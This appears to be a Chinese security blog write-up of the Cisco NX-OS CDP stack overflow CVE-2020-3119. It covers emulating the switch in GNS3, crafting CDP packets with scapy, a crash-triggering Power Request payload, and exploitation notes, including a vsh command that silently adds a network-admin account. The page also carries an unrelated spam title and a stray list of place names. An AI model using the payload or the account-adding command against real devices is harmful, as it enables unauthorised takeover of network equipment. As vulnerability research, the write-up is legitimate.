中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎么實現Cisco CDP協議棧溢出漏洞CVE-2020-3119分析

發布時間:2021-12-27 18:26:29 來源:億速云 閱讀:169 作者:柒染 欄目:安全技術

這篇文章將為大家詳細講解有關怎么實現Cisco CDP協議棧溢出漏洞CVE-2020-3119分析,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。

Cisco Discovery Protocol(CDP)協議是用來發現局域網中的Cisco設備的鏈路層協議。最近Cisco CDP協議爆了幾個漏洞,挑了個棧溢出的CVE-2020-3119先來搞搞,Armis Labs也公開了他們的分析Paper。

環境搭建

雖然最近都在搞IoT相關的,但是還是第一次搞這種架構比較復雜的中型設備,大部分時間還是花在折騰環境上。

3119這個CVE影響的是Cisco NX-OS類型的設備,去Cisco的安全中心找了下這個CVE,搜搜受影響的設備。發現受該漏洞影響的設備都挺貴的,也不好買,所以暫時沒辦法真機測試研究了。隨后搜了一下相關設備的固件,需要氪金購買。然后去萬能的淘寶搜了下,有代購業務,有的買五六十(虧),有的賣十幾塊。

固件到手后,我往常第一想法是解開來,第二想法是跑起來。最開始我想著先把固件解開來,找找cdp的binary,但是在解固件的時候卻遇到了坑。

如今這世道,解固件的工具也就binwalk,我也就只知道這一個,也問過朋友,好像也沒有其他好用的了。(如果有,求推薦)。

但是binwalk的算法在遇到非常多的壓縮包的情況下,非常耗時,反正我在掛那解壓了兩天,還沒解完一半。在解壓固件這塊折騰了好久,最后還是無果而終。

最后只能先想辦法把固件跑起來了,正好知道一個軟件可以用來仿真Cisco設備————GNS3。

GNS3的使用說明

學會了使用GNS3以后,發現這軟件真好用。

首先我們需要下載安全GNS3軟件,然后還需要下載GNS3 VM。個人電腦上裝個GNS3提供了可視化操作的功能,算是總控。GNS3 VM是作為GNS3的服務器,可以在本地用虛擬機跑起來,也可以放遠程。GNS3仿真的設備都是在GNS3服務器上運行起來的。

1.首先設置好GNS3 VM

怎么實現Cisco CDP協議棧溢出漏洞CVE-2020-3119分析

2.創建一個新模板

怎么實現Cisco CDP協議棧溢出漏洞CVE-2020-3119分析

3.選擇交換機 Cisco NX-OSv 9000

怎么實現Cisco CDP協議棧溢出漏洞CVE-2020-3119分析

在這里我們發現是用qemu來仿真設備的,所以前面下載的時候需要下載qcow2。

隨后就是把相應版本的固件導入到GNS3 Server。

怎么實現Cisco CDP協議棧溢出漏洞CVE-2020-3119分析

導入完成后,就能在交換機一欄中看到剛才新添加的設備。

4.把Cisco設備拖到中央,使用網線直連設備

怎么實現Cisco CDP協議棧溢出漏洞CVE-2020-3119分析

這里說明一下,Toolbox是我自己添加的一個ubuntu docker模板。最開始我是使用docker和交換機設備的任意一張網卡相連來進行操作測試的。

不過隨后我發現,GNS3還提供的了一個功能,也就是圖中的Cloud1,它可以代表你宿主機/GNS3 Server中的任意一張網卡。

因為我平常使用的工具都是在Mac中的ubuntu虛擬機里,所以我現在的使用的方法是,讓ubuntu虛擬機的一張網卡和Cisco交換機進行直連。

PS:初步研究了下,GNS3能提供如此簡單的網絡直連,使用的是其自己開發的ubridge,Github上能搜到,目測是通過UDP來轉發流量包。

怎么實現Cisco CDP協議棧溢出漏洞CVE-2020-3119分析

在測試的過程中,我們還可以右擊這根直連線,來使用wireshark抓包。

5.啟動所有節點

最后就是點擊上方工具欄的啟動鍵,來啟動你所有的設備,如果不想全部啟動,也可以選擇單獨啟動。

研究Cisco交換機

不過這個時候網絡并沒有連通,還需要通過串口連接到交換機進行網絡配置。GNS3默認情況下會把設備的串口通過telnet轉發出來,我們可以通過GNS3界面右上角看到telnet的ip/端口。

怎么實現Cisco CDP協議棧溢出漏洞CVE-2020-3119分析

第一次連接到交換機需要進行一次初始化設置,設置好后,可以用你設置的管理員賬號密碼登陸到Cisco管理shell。

經過研究,發現該設備的結構是,qemu啟動了一個bootloader,然后在bootloader的文件系統里面有一個nxos.9.2.3.bin文件,該文件就是該設備的主體固件。啟動以后是一個Linux系統,在Linux系統中又啟動了一個虛擬機guestshell,還有一個vsh.bin。在該設備中,用vsh替代了我們平常使用Linux時使用的bash。我們telnet連進來后,看到的就是vsh界面。在vsh命令中可以設置開啟telnet/ssh,還可以進入Linux shell。但是進入的是guestshell虛擬機中的Linux系統。

本次研究的cdp程序是無法在虛擬機guestshell中看到的。經過后續研究,發現vsh中存在python命令,而這個python是存在于Cisco宿主機中的nxpython程序。所以可以同python來獲取到Cisco宿主機的Linux shell。然后通過mac地址找到你在GNS3中設置連接的網卡,進行ip地址的設置。

bashCisco# pythonPython 2.7.11 (default, Feb 26 2018, 03:34:16)[GCC 4.6.3] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> import os>>> os.system("/bin/bash")bash-4.3$ iduid=2002(admin) gid=503(network-admin) groups=503(network-admin),504(network-operator)bash-4.3$ sudo -iroot@Cisco#ifconfig eth8eth8      Link encap:Ethernet  HWaddr 0c:76:e2:d1:ac:07  inet addr:192.168.102.21  Bcast:192.168.102.255  Mask:255.255.255.0  UP BROADCAST RUNNING PROMISC MULTICAST  MTU:1500  Metric:1  RX packets:82211 errors:61 dropped:28116 overruns:0 frame:61  TX packets:137754 errors:0 dropped:0 overruns:0 carrier:0  collisions:0 txqueuelen:1000  RX bytes:6639702 (6.3 MiB)  TX bytes:246035115 (234.6 MiB)root@Cisco#ps aux|grep cdproot     10296  0.0  0.8 835212 70768 ?        Ss   Mar18   0:01 /isan/bin/cdpdroot     24861  0.0  0.0   5948  1708 ttyS0    S+   05:30   0:00 grep cdp

設置好ip后,然后可以在我們mac上的ubuntu虛擬機里面進行網絡連通性的測試,正常情況下這個時候網絡已經連通了。

之后可以把ubuntu虛擬機上的公鑰放到cisoc設備的/root/.ssh/authorized_keys,然后就能通過ssh連接到了cisco的bash shell上面。該設備的Linux系統自帶程序挺多的,比如后續調試的要使用的gdbserver。nxpython還裝了scapy。

使用scapy發送CDP包

接下來我們來研究一下怎么發送cdp包,可以在Armis Labs發布的分析中看到cdp包格式,同樣我們也能開啟Cisco設備的cdp,查看Cisco設備發送的cdp包。

Cisco#conf ter
Cisco(config)# cdp enable
# 比如我前面設置直連的上第一個網口
Cisco(config)# interface ethernet 1/7
Cisco(config-if)# no shutdown
Cisco(config-if)# cdp enable
Cisco(config-if)# end
Cisco# show cdp interface ethernet 1/7
Ethernet1/7 is up
    CDP enabled on interface
    Refresh time is 60 seconds
    Hold time is 180 seconds

然后我們就能通過wireshark直接抓網卡的包,或者通過GNS3抓包,來研究CDP協議的格式。

怎么實現Cisco CDP協議棧溢出漏洞CVE-2020-3119分析因為我習慣使用python寫PoC,所以我開始研究怎么使用python來發送CDP協議包,然后發現scapy內置了一些CDP包相關的內容。

下面給一個簡單的示例:

from scapy.contrib import cdpfrom scapy.all import Ether, LLC, SNAP
# link layer
l2_packet = Ether(dst="01:00:0c:cc:cc:cc")
# Logical-Link Control
l2_packet /= LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) / SNAP()
# Cisco Discovery Protocol
cdp_v2 = cdp.CDPv2_HDR(vers=2, ttl=180)
deviceid = cdp.CDPMsgDeviceID(val=cmd)
portid = cdp.CDPMsgPortID(iface=b"ens38")
address = cdp.CDPMsgAddr(naddr=1, addr=cdp.CDPAddrRecordIPv4(addr="192.168.1.3"))
cap = cdp.CDPMsgCapabilities(cap=1)
cdp_packet = cdp_v2/deviceid/portid/address/cap
packet = l2_packet / cdp_packet
sendp(packet)

觸發漏洞

下一步,就是研究怎么觸發漏洞。首先,把cdpd從設備中給取出來,然后把二進制丟到ida里找漏洞點。根據Armis Labs發布的漏洞分析,找到了該漏洞存在于cdpd_poe_handle_pwr_tlvs函數,相關的漏洞代碼如下:

if ( (signed int)v28 > 0 )
      {
        v35 = (int *)(a3 + 4);
        v9 = 1;
        do
        {
          v37 = v9 - 1;
          v41[v9 - 1] = *v35;
          *(&v40 + v9) = _byteswap_ulong(*(&v40 + v9));
          if ( !sdwrap_hist_event_subtype_check(7536640, 104) )
          {
            *(_DWORD *)v38 = 104;
            snprintf(&s, 0x200u, "pwr_levels_requested[%d] = %d\n", v37, *(&v40 + v9));
            sdwrap_hist_event(7536640, strlen(&s) + 5, v38);
          }
          if ( sdwrap_chk_int_all(104, 0, 0, 0, 0) )
          {
            v24 = *(&v40 + v9);
            buginf_ftrace(1, &sdwrap_dbg_modname, 0, "pwr_levels_requested[%d] = %d\n");
          }
          snprintf(v38, 0x3FCu, "1111 pwr_levels_requested[%d] = %d\n", v37, *(&v40 + v9), v24);
          sdwrap_his_log_event_for_uuid_inst(124, 7536640, 1, 0, strlen(v38) + 1, v38);
          *(_DWORD *)(a1 + 4 * v9 + 1240) = *(&v40 + v9);
          ++v35;
          ++v9;
        }
        while ( v9 != v28 + 1 );
      }

后續仍然是根據Armis Labs漏洞分析文章中的內容,只要在cdp包中增加Power Request和Power Level就能觸發cdpd程序crash:

power_req = cdp.CDPMsgUnknown19(val="aaaa"+"bbbb"*21)power_level = cdp.CDPMsgPower(power=16)cdp_packet = cdp_v2/deviceid/portid/address/cap/power_req/power_level

漏洞利用

首先看看二進制程序的保護情況:

$ checksec cdpd_9.2.3
    Arch:     i386-32-little

    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RPATH:    '/isan/lib/convert:/isan/lib:/isanboot/lib'

發現只開啟了NX和PIE保護,32位程序。

因為該程序沒法進行交互,只能一次性發送完所有payload進行利用,所以沒辦法泄漏地址。因為是32位程序,cdpd程序每次crash后會自動重啟,所以我們能爆破地址。

在編寫利用腳本之前需要注意幾點:

1.棧溢出在覆蓋了返回地址后,后續還會繼續覆蓋傳入函數參數的地址。

 *(_DWORD *)(a1 + 4 * v9 + 1240) = *(&v40 + v9);

并且因為在漏洞代碼附近有這樣的代碼,需要向a1地址附近的地址寫入值。如果只覆蓋返回地址,沒法只通過跳轉到一個地址達到命令執行的目的。所以我們的payload需要把a1覆蓋成一個可寫的地址。

2.在cdpd_poe_handle_pwr_tlvs函數中,有很多分支都會進入到cdpd_send_pwr_req_to_poed函數,而在該函數中有一個__memcpy_to_buf函數,這個函數限制了Power Requested的長度在40字節以內。這么短的長度,并不夠進行溢出利用。所以我們不能進入到會調用該函數的分支。

      v10 = *(_WORD *)(a1 + 1208);  v11 = *(_WORD *)(a1 + 1204);  v12 = *(_DWORD *)(a1 + 1212);  if ( v32 != v10 || v31 != v11 )

我們需要讓該條件判斷為False,不進入該分支。因此需要構造好覆蓋的a1地址的值。

3.我們利用的最終目的不是執行execve("/bin/bash"),因為沒法進行交互,所以就算執行了這命令也沒啥用。那么我們能有什么利用方法呢?第一種,我們可以執行反連shell的代碼。第二種,我們可以添加一個管理員賬號,比如執行如下命令:

/isan/bin/vsh -c "configure terminal ; username test password qweASD123 role network-admin"

我們可以通過執行system(cmd)達到目的。那么接下來的問題是怎么傳參呢?經過研究發現,在CDP協議中的DeviceID相關的字段內容都儲存在堆上,并且該堆地址就儲存在棧上,我們可以通過ret來調整棧地址。這樣就能成功向system函數傳遞任意參數了。

關于怎么實現Cisco CDP協議棧溢出漏洞CVE-2020-3119分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

抚顺县| 光泽县| 泾川县| 依兰县| 呼玛县| 静安区| 高碑店市| 大荔县| 正安县| 鄢陵县| 芜湖市| 静乐县| 天全县| 铁力市| 凯里市| 竹山县| 青海省| 赣榆县| 恩平市| 青龙| 突泉县| 海口市| 墨脱县| 沛县| 合肥市| 宁安市| 长海县| 海原县| 行唐县| 玛纳斯县| 塔河县| 石景山区| 沾益县| 衡南县| 建湖县| 海淀区| 兴仁县| 尚志市| 三亚市| 公安县| 荔波县|